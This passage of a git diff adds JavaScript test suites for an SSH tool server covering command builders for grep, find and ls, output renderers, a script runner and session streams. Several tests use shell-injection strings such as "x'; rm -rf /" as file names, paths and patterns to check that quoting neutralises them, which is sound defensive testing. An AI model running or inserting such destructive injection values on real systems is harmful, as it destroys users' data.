+}); + +// --- buildGrepCommand ---------------------------------------------------- +test('buildGrepCommand: wraps in timeout and prefers rg over grep', () => { + const cmd = buildGrepCommand({ pattern: 'TODO', path: '/srv/app' }); + assert(cmd.startsWith('timeout 20 '), 'hard timeout wrapper'); + assert(cmd.includes('command -v rg'), 'probes for rg'); + assert(cmd.includes('grep -rnI'), 'grep fallback present'); + assert(cmd.includes("'TODO'"), 'pattern is shell-quoted'); + assert(cmd.includes("'/srv/app'"), 'path is shell-quoted'); +}); + +test('buildGrepCommand: caps matches with head -> SIGPIPE stops the walk', () => { + const cmd = buildGrepCommand({ pattern: 'x', path: '/a', matchCap: 50 }); + assert(cmd.includes('| head -n 50'), 'match cap via head'); +}); + +test('buildGrepCommand: prunes pseudo-filesystems and .git', () => { + const cmd = buildGrepCommand({ pattern: 'x', path: '/' , allowRoot: true }); + assert(cmd.includes('--exclude-dir=.git'), 'rg/grep skip .git'); + for (const p of ['proc', 'sys', 'dev', 'run']) { + assert(cmd.includes(`--exclude-dir=${p}`), `${p} excluded`); + } +}); + +test('buildGrepCommand: one-filesystem by default, opt-in to cross', () => { + const bounded = buildGrepCommand({ pattern: 'x', path: '/a' }); + assert(bounded.includes('--one-file-system'), 'rg stays on one fs'); + const crossing = buildGrepCommand({ pattern: 'x', path: '/a', crossMounts: true }); + assert(!crossing.includes('--one-file-system'), 'cross-mount opt-in honored'); +}); + +test('buildGrepCommand: context lines threaded to both rg and grep', () => { + const cmd = buildGrepCommand({ pattern: 'x', path: '/a', contextLines: 3 }); + assert(cmd.includes('-C 3'), 'context lines passed through'); +}); + +test('buildGrepCommand: missing pattern is rejected', () => { + assert.throws(() => buildGrepCommand({ path: '/a' }), /pattern is required/); +}); + +test('buildGrepCommand: bare root still refused here', () => { + assert.throws( + () => buildGrepCommand({ pattern: 'x', path: '/' }), + /refusing to search/, + ); +}); + +test('buildGrepCommand: a hostile pattern cannot break out', () => { + const pattern = "a'; rm -rf /"; + const cmd = buildGrepCommand({ pattern, path: '/a' }); + // cmd is 'timeout N sh -c '; inner contains shQuote(pattern). + assert(cmd.startsWith('timeout ') && cmd.includes('sh -c '), 'wrapped in sh -c'); + const outerArg = cmd.slice(cmd.indexOf('sh -c ') + 'sh -c '.length); + assert(outerArg.startsWith("'"), 'sh -c argument is single-quoted'); + // Embedded quote forced shQuote escape sequence into the command. + assert(cmd.includes("'\\''"), 'quote-bearing token shows escape sequence'); +}); + +test('buildGrepCommand: a hostile path cannot break out', () => { + const path = "/tmp/x'; rm -rf /; echo "; + const cmd = buildGrepCommand({ pattern: 'TODO', path }); + assert(cmd.startsWith('timeout ') && cmd.includes('sh -c '), 'wrapped in sh -c'); + assert(cmd.includes("'\\''"), 'hostile path produced escape sequence'); +}); + +test('buildLocateCommand: hostile name/path cannot break out', () => { + const nameCmd = buildLocateCommand({ name: "x'; rm -rf /", path: '/a' }); + assert(nameCmd.includes("'\\''"), 'hostile name shell-escaped'); + const pathCmd = buildLocateCommand({ name: 'x', path: "/a'; rm -rf /" }); + assert(pathCmd.includes("'\\''"), 'hostile path shell-escaped'); +}); + +test('buildLsCommand: hostile path cannot break out', () => { + const cmd = buildLsCommand({ path: "/var'; rm -rf /; echo " }); + assert(cmd.includes("'\\''"), 'hostile path shell-escaped'); + assert(cmd.startsWith('timeout '), 'still timeout-wrapped'); +}); + +// --- buildLocateCommand -------------------------------------------------- +test('buildLocateCommand: timeout-wrapped find with -name glob', () => { + const cmd = buildLocateCommand({ name: '*.conf', path: '/etc' }); + assert(cmd.startsWith('timeout 20 '), 'timeout wrapper'); + assert(cmd.includes('find '), 'uses find'); + assert(cmd.includes("'/etc'"), 'path shell-quoted'); + assert(cmd.includes("-name '*.conf'"), 'name glob shell-quoted'); +}); + +test('buildLocateCommand: -xdev by default, prunes pseudo-filesystems', () => { + const cmd = buildLocateCommand({ name: 'x', path: '/', allowRoot: true }); + assert(cmd.includes('-xdev'), 'stays on one filesystem by default'); + for (const p of ['/proc', '/sys', '/dev', '/run']) { + assert(cmd.includes(`-path ${"'" + p + "'"}`), `${p} pruned`); + } + assert(cmd.includes('-prune'), 'prune action present'); +}); + +test('buildLocateCommand: crossMounts:true drops -xdev', () => { + const cmd = buildLocateCommand({ name: 'x', path: '/a', crossMounts: true }); + assert(!cmd.includes('-xdev'), 'cross-mount opt-in drops -xdev'); +}); + +test('buildLocateCommand: result count capped with head', () => { + const cmd = buildLocateCommand({ name: 'x', path: '/a', matchCap: 75 }); + assert(cmd.includes('| head -n 75'), 'cap via head'); +}); + +test('buildLocateCommand: missing name is rejected', () => { + assert.throws(() => buildLocateCommand({ path: '/a' }), /name is required/); +}); + +test('buildLocateCommand: bare root refused without override', () => { + assert.throws( + () => buildLocateCommand({ name: 'x', path: '/' }), + /refusing to search/, + ); +}); + +// --- buildLsCommand ------------------------------------------------------ +test('buildLsCommand: timeout-wrapped ls -la of one directory', () => { + const cmd = buildLsCommand({ path: '/var/log' }); + assert(cmd.startsWith('timeout 20 '), 'timeout wrapper'); + assert(cmd.includes('ls -la'), 'long listing'); + assert(cmd.includes("'/var/log'"), 'path shell-quoted'); +}); + +test('buildLsCommand: a path with spaces survives quoting', () => { + const cmd = buildLsCommand({ path: '/srv/my app' }); + assert(cmd.includes("'/srv/my app'"), 'spaced path quoted as one token'); +}); + +test('buildLsCommand: empty path is rejected', () => { + assert.throws(() => buildLsCommand({ path: '' }), /path is required/); +}); + +test('buildLsCommand: bare root is allowed -- listing / is cheap and safe', () => { + const cmd = buildLsCommand({ path: '/' }); + assert(cmd.includes("ls -la '/'"), 'root listing permitted'); +}); + +// --- boundedness: timeout clamp ------------------------------------------ +test('buildGrepCommand: timeoutSecs 0 clamps to a real timeout', () => { + // timeout 0 = no timeout on GNU coreutils -> would be unbounded. + const cmd = buildGrepCommand({ pattern: 'x', path: '/a', timeoutSecs: 0 }); + assert(/^timeout 20 /.test(cmd), `expected fallback timeout, got: ${cmd}`); + assert(!cmd.includes('timeout 0 '), 'never emits timeout 0'); +}); + +test('buildGrepCommand: timeoutSecs NaN/string/negative clamp to bounded', () => { + for (const bad of [NaN, 'abc', -5, null, undefined]) { + const cmd = buildGrepCommand({ pattern: 'x', path: '/a', timeoutSecs: bad }); + const m = cmd.match(/^timeout (\d+) /); + assert(m, `timeout token present for ${String(bad)}`); + const secs = Number(m[1]); + assert(secs >= 1 && secs <= 600, `bounded timeout for ${String(bad)}`); + } +}); + +test('buildGrepCommand: timeoutSecs above ceiling clamps to 600', () => { + const cmd = buildGrepCommand({ pattern: 'x', path: '/a', timeoutSecs: 999999 }); + assert(/^timeout 600 /.test(cmd), `clamped to ceiling, got: ${cmd}`); +}); + +test('buildLocateCommand: timeoutSecs 0/NaN clamp to bounded', () => { + for (const bad of [0, NaN, 'abc', -1]) { + const cmd = buildLocateCommand({ name: 'x', path: '/a', timeoutSecs: bad }); + assert(!cmd.includes('timeout 0 '), `no timeout 0 for ${String(bad)}`); + const m = cmd.match(/^timeout (\d+) /); + assert(m && Number(m[1]) >= 1, `bounded timeout for ${String(bad)}`); + } +}); + +test('buildLsCommand: timeoutSecs 0/NaN clamp to bounded', () => { + for (const bad of [0, NaN, 'abc', -1]) { + const cmd = buildLsCommand({ path: '/a', timeoutSecs: bad }); + assert(!cmd.includes('timeout 0 '), `no timeout 0 for ${String(bad)}`); + const m = cmd.match(/^timeout (\d+) /); + assert(m && Number(m[1]) >= 1, `bounded timeout for ${String(bad)}`); + } +}); + +// --- boundedness: match cap clamp ---------------------------------------- +test('buildGrepCommand: matchCap 0 clamps -> head never gets -n 0', () => { + const cmd = buildGrepCommand({ pattern: 'x', path: '/a', matchCap: 0 }); + assert(cmd.includes('| head -n 200'), `fallback cap, got: ${cmd}`); + assert(!cmd.includes('head -n 0'), 'never head -n 0'); +}); + +test('buildGrepCommand: matchCap NaN/string/negative clamp to bounded', () => { + // grep head is inside the sh -c '...' arg -> trailing quote after the number. + for (const bad of [NaN, 'abc', -10, null, undefined]) { + const cmd = buildGrepCommand({ pattern: 'x', path: '/a', matchCap: bad }); + const m = cmd.match(/\| head -n (-?\d+)'$/); + assert(m, `head cap present for ${String(bad)}`); + const cap = Number(m[1]); + assert(cap >= 1 && cap <= 100000, `bounded cap for ${String(bad)}`); + } +}); + +test('buildGrepCommand: huge matchCap clamps -> no Int32 wrap to negative', () => { + // matchCap | 0 wraps a value >2^31 negative -> head -n -1 = print all. + const cmd = buildGrepCommand({ pattern: 'x', path: '/a', matchCap: 2 ** 32 }); + const m = cmd.match(/\| head -n (-?\d+)'$/); + assert(m && Number(m[1]) > 0, `positive cap, got: ${cmd}`); + assert(Number(m[1]) <= 100000, 'cap clamped to ceiling'); +}); + +test('buildLocateCommand: matchCap 0/NaN/huge clamp to bounded', () => { + for (const bad of [0, NaN, 'abc', -1, 2 ** 32]) { + const cmd = buildLocateCommand({ name: 'x', path: '/a', matchCap: bad }); + const m = cmd.match(/\| head -n (-?\d+)$/); + assert(m, `head cap present for ${String(bad)}`); + const cap = Number(m[1]); + assert(cap >= 1 && cap <= 100000, `bounded cap for ${String(bad)}`); + } +}); + +// --- parseGrepHits ------------------------------------------------------- +test('parseGrepHits: file:line:text rows parsed to objects', () => { + const hits = parseGrepHits( + '/srv/app/main.js:42: const TODO = 1;\n' + + '/srv/app/util.js:7:// TODO refactor', + ); + assert.strictEqual(hits.length, 2); + assert.deepStrictEqual(hits[0], { + file: '/srv/app/main.js', line: 42, text: ' const TODO = 1;', + }); + assert.strictEqual(hits[1].line, 7); +}); + +test('parseGrepHits: a colon inside the matched text is preserved', () => { + const hits = parseGrepHits('/etc/hosts:3:127.0.0.1 ::1 localhost'); + assert.strictEqual(hits[0].text, '127.0.0.1 ::1 localhost'); + assert.strictEqual(hits[0].line, 3); +}); + +test('parseGrepHits: blank lines and grep context "--" separators dropped', () => { + const hits = parseGrepHits('/a:1:x\n--\n\n/a:5:y'); + assert.strictEqual(hits.length, 2); +}); + +test('parseGrepHits: empty / nullish input -> empty array', () => { + assert.deepStrictEqual(parseGrepHits(''), []); + assert.deepStrictEqual(parseGrepHits(null), []); +}); + +test('parseGrepHits: CRLF stream leaves no trailing \\r on text', () => { + const hits = parseGrepHits('/a/x.js:1:const y = 1;\r\n/a/z.js:2:done\r\n'); + assert.strictEqual(hits.length, 2); + assert.strictEqual(hits[0].text, 'const y = 1;'); + assert.strictEqual(hits[1].text, 'done'); +}); + +// --- parseLocateHits ----------------------------------------------------- +test('parseLocateHits: one path per line, trimmed, blanks dropped', () => { + const hits = parseLocateHits('/etc/nginx/nginx.conf\n\n/etc/ssl/openssl.conf\n'); + assert.deepStrictEqual(hits, ['/etc/nginx/nginx.conf', '/etc/ssl/openssl.conf']); +}); + +test('parseLocateHits: empty input -> empty array', () => { + assert.deepStrictEqual(parseLocateHits(''), []); +}); + +// --- parseLsRows --------------------------------------------------------- +test('parseLsRows: long-format rows parsed, "total" line skipped', () => { + const rows = parseLsRows( + 'total 12\n' + + '-rw-r--r-- 1 root root 1024 May 17 10:00 app.conf\n' + + 'drwxr-xr-x 2 root root 4096 May 16 09:30 logs', + ); + assert.strictEqual(rows.length, 2); + assert.deepStrictEqual(rows[0], { + perms: '-rw-r--r--', size: '1024', name: 'app.conf', type: 'file', + }); + assert.strictEqual(rows[1].type, 'dir'); + assert.strictEqual(rows[1].name, 'logs'); +}); + +test('parseLsRows: a filename containing spaces is kept whole', () => { + const rows = parseLsRows( + 'total 4\n-rw-r--r-- 1 u g 9 May 17 10:00 my notes.txt', + ); + assert.strictEqual(rows[0].name, 'my notes.txt'); +}); + +test('parseLsRows: symlink target is stripped from the name', () => { + const rows = parseLsRows( + 'total 0\nlrwxrwxrwx 1 u g 7 May 17 10:00 cur -> /opt/v2', + ); + assert.strictEqual(rows[0].name, 'cur'); + assert.strictEqual(rows[0].type, 'link'); +}); + +test('parseLsRows: empty input -> empty array', () => { + assert.deepStrictEqual(parseLsRows(''), []); +}); + +test('parseLsRows: device-file rows (major, minor size) parse cleanly', () => { + const rows = parseLsRows( + 'total 0\n' + + 'crw-rw-rw- 1 root tty 5, 0 May 17 10:00 tty0\n' + + 'brw-rw---- 1 root disk 8, 0 May 17 10:00 sda', + ); + assert.strictEqual(rows.length, 2); + assert.strictEqual(rows[0].name, 'tty0'); + assert.strictEqual(rows[0].size, '5, 0'); + assert.strictEqual(rows[1].name, 'sda'); + assert.strictEqual(rows[1].size, '8, 0'); +}); + +test('parseLsRows: CRLF output parses without mangling', () => { + const rows = parseLsRows( + 'total 4\r\n-rw-r--r-- 1 u g 9 May 17 10:00 app.conf\r\n', + ); + assert.strictEqual(rows.length, 1); + assert.strictEqual(rows[0].name, 'app.conf'); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-render-primitives.js b/tests/test-render-primitives.js new file mode 100644 index 0000000..20d136e --- /dev/null +++ b/tests/test-render-primitives.js @@ -0,0 +1,125 @@ +#!/usr/bin/env node +/** + * Test suite for the v4 render primitives in src/output-formatter.js. + * Run: node tests/test-render-primitives.js + */ +import assert from 'assert'; +import { renderHeader, indentBody, renderKV, renderRows } from '../src/output-formatter.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing render primitives\n'); + +// --- renderHeader -------------------------------------------------------- +test('renderHeader: full slots joined with middot', () => { + const h = renderHeader({ + marker: '[ok]', tool: 'ssh_run', action: 'exec', + server: 'devcentos', status: 'exit 0', durationMs: 245, + }); + assert.strictEqual(h, '[ok] ssh_run · exec · devcentos · exit 0 · 245 ms'); +}); + +test('renderHeader: optional slots collapse, order preserved', () => { + const h = renderHeader({ marker: '[err]', tool: 'ssh_file', server: 'web1' }); + assert.strictEqual(h, '[err] ssh_file · web1'); +}); + +test('renderHeader: default marker is [ok]', () => { + assert.strictEqual(renderHeader({ tool: 'ssh_db' }), '[ok] ssh_db'); +}); + +test('renderHeader: status of 0 is kept, empty string dropped', () => { + assert(renderHeader({ tool: 't', status: 0 }).endsWith('· 0')); + assert.strictEqual(renderHeader({ tool: 't', status: '' }), '[ok] t'); +}); + +// --- indentBody ---------------------------------------------------------- +test('indentBody: each line prefixed with 2 spaces', () => { + assert.strictEqual(indentBody('a\nb'), ' a\n b'); +}); + +test('indentBody: empty or nullish input -> empty string', () => { + assert.strictEqual(indentBody(''), ''); + assert.strictEqual(indentBody(null), ''); + assert.strictEqual(indentBody(undefined), ''); +}); + +test('indentBody: custom prefix honored', () => { + assert.strictEqual(indentBody('x', '| '), '| x'); +}); + +test('indentBody: blank lines are still prefixed', () => { + assert.strictEqual(indentBody('a\n\nb'), ' a\n \n b'); +}); + +// --- renderKV ------------------------------------------------------------ +test('renderKV: aligns keys to the longest, 2-space gutter', () => { + const kv = renderKV([['exit', '0'], ['duration', '245 ms']]); + assert.strictEqual(kv, 'exit 0\nduration 245 ms'); +}); + +test('renderKV: empty or non-array -> empty string', () => { + assert.strictEqual(renderKV([]), ''); + assert.strictEqual(renderKV(null), ''); +}); + +test('renderKV: coerces non-string values, nullish value -> empty', () => { + assert.strictEqual(renderKV([['n', 42], ['m', null]]), 'n 42\nm '); +}); + +test('renderKV: malformed (non-array) row degrades, does not throw', () => { + const kv = renderKV([null, ['k', 'v']]); + assert(kv.includes('k v')); +}); + +// --- renderRows ---------------------------------------------------------- +test('renderRows: aligns columns, no trailing whitespace', () => { + const t = renderRows(['name', 'exit'], [['web1', '0'], ['db1', '1']]); + assert.strictEqual(t, 'name exit\nweb1 0\ndb1 1'); +}); + +test('renderRows: empty headers -> empty string', () => { + assert.strictEqual(renderRows([], []), ''); +}); + +test('renderRows: failures sorted to top with summary count', () => { + const t = renderRows( + ['name', 'ok'], + [['a', 'y'], ['b', 'n'], ['c', 'y']], + { isFail: (r) => r[1] === 'n' }, + ); + const lines = t.split('\n'); + assert.strictEqual(lines[0], '1/3 failed'); + assert.strictEqual(lines[1], 'name ok'); + assert.strictEqual(lines[2], 'b n'); +}); + +test('renderRows: isFail with zero failures adds no summary line', () => { + const t = renderRows(['n'], [['a'], ['b']], { isFail: () => false }); + assert.strictEqual(t.split('\n')[0], 'n'); +}); + +test('renderRows: malformed (non-array) row degrades, does not throw', () => { + assert.doesNotThrow(() => renderRows(['a'], [null])); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-run-schema.js b/tests/test-run-schema.js new file mode 100644 index 0000000..6f0d1ff --- /dev/null +++ b/tests/test-run-schema.js @@ -0,0 +1,76 @@ +#!/usr/bin/env node +/** + * Pins the ssh_run inputSchema in src/index.js: the four Plan-5 actions + * (script, detach, job-status, job-kill) and their args must be advertised, + * else a client cannot invoke what the dispatcher now handles. + * Run: node tests/test-run-schema.js + */ +import assert from 'node:assert'; +import fs from 'node:fs'; +import path from 'node:path'; +import url from 'node:url'; + +const __dirname = path.dirname(url.fileURLToPath(import.meta.url)); +const indexSrc = fs.readFileSync(path.join(__dirname, '..', 'src', 'index.js'), 'utf8'); + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +// Isolate the registerToolConditional('ssh_run', { ... }) block. +function runBlock(src) { + const start = src.indexOf("registerToolConditional('ssh_run'"); + assert(start !== -1, 'ssh_run registration found'); + // up to the handler arrow that closes the schema object + const end = src.indexOf('}, async (args) => handleSshRun', start); + assert(end !== -1, 'ssh_run handler boundary found'); + return src.slice(start, end); +} + +console.log('[test] Testing ssh_run inputSchema\n'); + +await test('action enum advertises all seven actions', () => { + const block = runBlock(indexSrc); + for (const act of ['exec', 'sudo', 'fleet', 'script', 'detach', 'job-status', 'job-kill']) { + assert(block.includes(`'${act}'`), `action enum missing '${act}'`); + } +}); + +await test('commands arg is declared for the script action', () => { + const block = runBlock(indexSrc); + assert(/commands:\s*z\.array\(z\.string\(\)\)/.test(block), + 'commands should be an optional string array'); +}); + +await test('isolate arg is declared', () => { + assert(/isolate:\s*z\.boolean\(\)/.test(runBlock(indexSrc)), + 'isolate should be an optional boolean'); +}); + +await test('job_id arg is declared for detach / job-status / job-kill', () => { + assert(/job_id:\s*z\.string\(\)/.test(runBlock(indexSrc)), + 'job_id should be an optional string'); +}); + +await test('since_offset arg is declared for job-status', () => { + assert(/since_offset:\s*z\.number\(\)/.test(runBlock(indexSrc)), + 'since_offset should be an optional number'); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-script-runner.js b/tests/test-script-runner.js new file mode 100644 index 0000000..1b8a59b --- /dev/null +++ b/tests/test-script-runner.js @@ -0,0 +1,158 @@ +#!/usr/bin/env node +/** + * Test suite for src/script-runner.js -- ssh_run action:script engine. + * Run: node tests/test-script-runner.js + */ +import assert from 'assert'; +import { + buildScriptCommand, + parseScriptSegments, +} from '../src/script-runner.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing script-runner\n'); + +// --- buildScriptCommand -------------------------------------------------- +test('buildScriptCommand: returns { command, nonce }', () => { + const r = buildScriptCommand(['echo a', 'echo b']); + assert.strictEqual(typeof r.command, 'string'); + assert(/^[0-9a-f]{12}$/.test(r.nonce), 'nonce is 12 hex chars'); + assert(r.command.includes('echo a'), 'first segment present'); + assert(r.command.includes('echo b'), 'second segment present'); +}); + +test('buildScriptCommand: a fresh nonce per invocation', () => { + const a = buildScriptCommand(['echo x']); + const b = buildScriptCommand(['echo x']); + assert.notStrictEqual(a.nonce, b.nonce, 'nonce differs across calls'); +}); + +test('buildScriptCommand: a nonce-bound sentinel follows each segment', () => { + const { command, nonce } = buildScriptCommand(['true', 'false']); + // printf '\n##SEG- %d %d##\n' 0 $? -- one per segment + const sentinels = command.match(new RegExp(`##SEG-${nonce} %d %d##`, 'g')) || []; + assert.strictEqual(sentinels.length, 2, 'one sentinel per segment'); + assert( + command.includes(`printf '\\n##SEG-${nonce} %d %d##\\n' 0 $?`), + 'segment 0 sentinel', + ); + assert( + command.includes(`printf '\\n##SEG-${nonce} %d %d##\\n' 1 $?`), + 'segment 1 sentinel', + ); +}); + +test('buildScriptCommand: segments are NOT && chained -- a failure does not abort', () => { + const { command } = buildScriptCommand(['false', 'echo still-runs']); + assert(!command.includes('&&'), 'no && between segments'); + // `;` lets the next segment run even after a non-zero exit. + assert(command.includes(';'), 'segments separated so all run'); +}); + +test('buildScriptCommand: default joins segments in one shell (shared state)', () => { + const { command } = buildScriptCommand(['cd /tmp', 'pwd']); + // No `sh -c` wrapper per segment: it is one process, so `cd` carries over. + assert(!/sh -c .* sh -c /.test(command), 'not one sub-shell per segment'); +}); + +test('buildScriptCommand: isolate:true wraps each segment in its own sh -c', () => { + const { command } = buildScriptCommand(['cd /tmp', 'pwd'], { isolate: true }); + const subs = command.match(/sh -c /g) || []; + assert.strictEqual(subs.length, 2, 'one sub-shell per segment when isolated'); +}); + +test('buildScriptCommand: empty / non-array commands is rejected', () => { + assert.throws(() => buildScriptCommand([]), /at least one command/); + assert.throws(() => buildScriptCommand(null), /at least one command/); +}); + +test('buildScriptCommand: a non-string segment is rejected', () => { + assert.throws(() => buildScriptCommand(['ok', 42]), /must be a string/); +}); + +// --- parseScriptSegments ------------------------------------------------- +test('parseScriptSegments: splits stdout into per-segment results', () => { + const raw = 'a-out\n##SEG-abc123 0 0##\nb-out\n##SEG-abc123 1 0##\n'; + const segs = parseScriptSegments(raw, 'abc123', ['echo a', 'echo b']); + assert.strictEqual(segs.length, 2); + assert.strictEqual(segs[0].stdout, 'a-out'); + assert.strictEqual(segs[0].exitCode, 0); + assert.strictEqual(segs[0].command, 'echo a'); + assert.strictEqual(segs[1].stdout, 'b-out'); +}); + +test('parseScriptSegments: a non-zero segment exit is reported per segment', () => { + const raw = 'ok\n##SEG-n1 0 0##\n\n##SEG-n1 1 127##\n'; + const segs = parseScriptSegments(raw, 'n1', ['true', 'nosuchcmd']); + assert.strictEqual(segs[0].exitCode, 0); + assert.strictEqual(segs[1].exitCode, 127, 'failure surfaced for its segment'); +}); + +test('parseScriptSegments: output after the last sentinel = unfinished segment', () => { + // Script killed mid-segment 1: no closing sentinel for it. + const raw = 'done\n##SEG-n2 0 0##\nhalf-out'; + const segs = parseScriptSegments(raw, 'n2', ['echo done', 'sleep 99']); + assert.strictEqual(segs.length, 2); + assert.strictEqual(segs[1].stdout, 'half-out'); + assert.strictEqual(segs[1].exitCode, null, 'no exit code for a killed segment'); + assert.strictEqual(segs[1].command, 'sleep 99'); +}); + +test('parseScriptSegments: trailing whitespace after last sentinel is not a segment', () => { + const raw = 'x\n##SEG-n3 0 0##\n\n \n'; + const segs = parseScriptSegments(raw, 'n3', ['echo x']); + assert.strictEqual(segs.length, 1, 'blank tail ignored'); +}); + +test('parseScriptSegments: empty / nullish stdout -> empty array', () => { + assert.deepStrictEqual(parseScriptSegments('', 'n4', []), []); + assert.deepStrictEqual(parseScriptSegments(null, 'n4', []), []); +}); + +test('parseScriptSegments: command label is null when commands array is short', () => { + const segs = parseScriptSegments('o\n##SEG-n5 0 0##\n', 'n5', []); + assert.strictEqual(segs[0].command, null); +}); + +test('parseScriptSegments: a missing nonce is rejected', () => { + assert.throws(() => parseScriptSegments('o\n##SEG-x 0 0##\n', ''), /nonce is required/); + assert.throws(() => parseScriptSegments('o', null), /nonce is required/); +}); + +test('parseScriptSegments: a forged ##SEG line in stdout does NOT corrupt the parse', () => { + // Segment 0 echoes a fake sentinel with the WRONG nonce -- must be ignored. + // Only the real ##SEG- line ends the segment. + const { nonce } = buildScriptCommand(['echo hi']); + const wrong = nonce === 'deadbeef' ? 'cafef00d' : 'deadbeef'; + const raw = + `real-out\n##SEG-${wrong} 0 0##\nstill-seg-0\n##SEG-${nonce} 0 1##\n`; + const segs = parseScriptSegments(raw, nonce, ['attacker']); + assert.strictEqual(segs.length, 1, 'forged sentinel did not split the segment'); + assert.strictEqual(segs[0].exitCode, 1, 'real exit code wins, not the forged 0'); + assert( + segs[0].stdout.includes(`##SEG-${wrong} 0 0##`), + 'forged line stays as plain stdout', + ); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-session-tools.js b/tests/test-session-tools.js index 5c0b462..6d08dce 100644 --- a/tests/test-session-tools.js +++ b/tests/test-session-tools.js @@ -73,7 +73,8 @@ class FakeShellStream extends EventEmitter { if (echo) this.emit('data', Buffer.from(echo)); // Emit any scripted stdout. if (script.stdout) this.emit('data', Buffer.from(script.stdout)); - if (script.stderr) this.stderr.emit('data', Buffer.from(script.stderr)); + // PTY folds fd2 into fd1 -> scripted stderr arrives on `data`, not `.stderr`. + if (script.stderr) this.emit('data', Buffer.from(script.stderr)); // Emit the sentinel line last -- unless the script wants to misbehave. if (!script.skipMarker) { this.emit('data', Buffer.from(`${marker} ${script.exit ?? 0}\n`)); @@ -312,6 +313,52 @@ await test('runCommand: timeout cancels and rejects', async () => { await sess.close(); }); +await test('stream: stderr folds into data; one decoder stitches split chars', async () => { + // client.shell() gives a PTY -- fd2 multiplexes onto the same master as fd1, + // so stderr arrives interleaved on `data`. SSHSessionV2 wires ONE decoder on + // `data` and no separate `.stderr` listener; a multibyte char split across + // chunks (stdout/stderr interleaved) must still decode intact, none lost. + const stream = new FakeShellStream({ scriptFor: () => ({ stdout: '', exit: 0, skipMarker: true }) }); + const sess = new SSHSessionV2({ id: 'sess_dec', server: 's', shell: 'bash', stream }); + // fix removed the dead `.stderr` listener -> nothing wires it + assert.strictEqual(stream.stderr.listenerCount('data'), 0, 'no separate stderr listener'); + const p = sess._waitForMarker({ timeoutMs: 1000 }); + + const euro = Buffer.from('€', 'utf8'); // [0xE2,0x82,0xAC] -- 3 bytes + // PTY interleaving: stderr text, then a stdout char split mid-byte across events. + stream.emit('data', Buffer.from('ERR-folded ')); + stream.emit('data', euro.slice(0, 1)); + stream.emit('data', Buffer.concat([euro.slice(1), Buffer.from(`done\n${sess.marker} 0\n`)])); + + const r = await p; + assert(r.raw.includes('€'), 'split multibyte char decoded intact across data chunks'); + assert(r.raw.includes('ERR-folded'), 'stderr folded into data is captured, not lost'); + await sess.close(); +}); + +await test('_drainWaiters: two sentinels in ONE data chunk both resolve', async () => { + // Concurrent ssh_session_send on the same session, or a fast shell, can + // deliver two marker lines in a single `data` event. _drainWaiters must + // loop and resolve BOTH waiters from that one chunk, not just the head. + const stream = new FakeShellStream({ scriptFor: () => ({ stdout: '', exit: 0, skipMarker: true }) }); + const sess = new SSHSessionV2({ id: 'sess_drain', server: 's', shell: 'bash', stream }); + + // Two outstanding waiters (both keyed on the session's sealed marker). + const p1 = sess._waitForMarker({ timeoutMs: 1000 }); + const p2 = sess._waitForMarker({ timeoutMs: 1000 }); + + // Single chunk carrying both sentinel lines back-to-back. + stream.emit('data', Buffer.from(`out-A\n${sess.marker} 0\nout-B\n${sess.marker} 7\n`)); + + const [r1, r2] = await Promise.all([p1, p2]); + assert.strictEqual(r1.exitCodeStr, '0', 'first waiter resolved with exit 0'); + assert.strictEqual(r2.exitCodeStr, '7', 'second waiter resolved from the SAME chunk'); + assert.strictEqual(sess._waiters.length, 0, 'both waiters drained'); + assert(r1.raw.includes('out-A'), 'first capture holds first block'); + assert(r2.raw.includes('out-B'), 'second capture holds second block'); + await sess.close(); +}); + // -------------------------------------------------------------------------- // Handler-level integration // -------------------------------------------------------------------------- @@ -349,7 +396,7 @@ await test('session_start: markdown render shows session_id + cwd + user', async args: { server: 'dev', format: 'markdown' }, }); const md = r.content[0].text; - assert(md.startsWith('[ok] **ssh_session_start**'), `got: ${md.slice(0, 80)}`); + assert(md.startsWith('[ok] ssh_session_start'), `got: ${md.slice(0, 80)}`); assert(md.includes('session_id')); assert(md.includes('/opt/app')); assert(md.includes('bob')); @@ -599,6 +646,34 @@ await test('command_history ring: after 60 commands, only last 50 remembered', a await handleSshSessionClose({ args: { session_id } }); }); +await test('session_send: markdown render indents output, emits no code fences', async () => { + // Payload itself contains a ``` line -- fenced blocks would break here. + // renderSessionSend must use indentBody like every other v4 renderer. + const stream = new FakeShellStream({ + scriptFor: (cmd) => { + if (cmd === 'pwd' || cmd === 'whoami' || cmd === 'echo $HOME') return { stdout: 'x\n', exit: 0 }; + return { stdout: 'line one\n```\nline three\n', exit: 0 }; + }, + }); + const started = await handleSshSessionStart({ + getConnection: async () => makeFakeClient(stream), + args: { server: 's', format: 'json' }, + }); + const { session_id } = JSON.parse(started.content[0].text).data; + + const r = await handleSshSessionSend({ + args: { session_id, command: 'cat file', format: 'markdown' }, + }); + const md = r.content[0].text; + assert(!md.includes('```text'), 'no ```text fence opener'); + // The only ``` in the output is the payload line itself, now indented. + assert(md.includes(' line one'), 'stdout indented via indentBody'); + assert(md.includes(' ```'), 'payload ``` line preserved but indented, not a fence'); + assert(md.startsWith('[ok] **ssh_session_send**') || 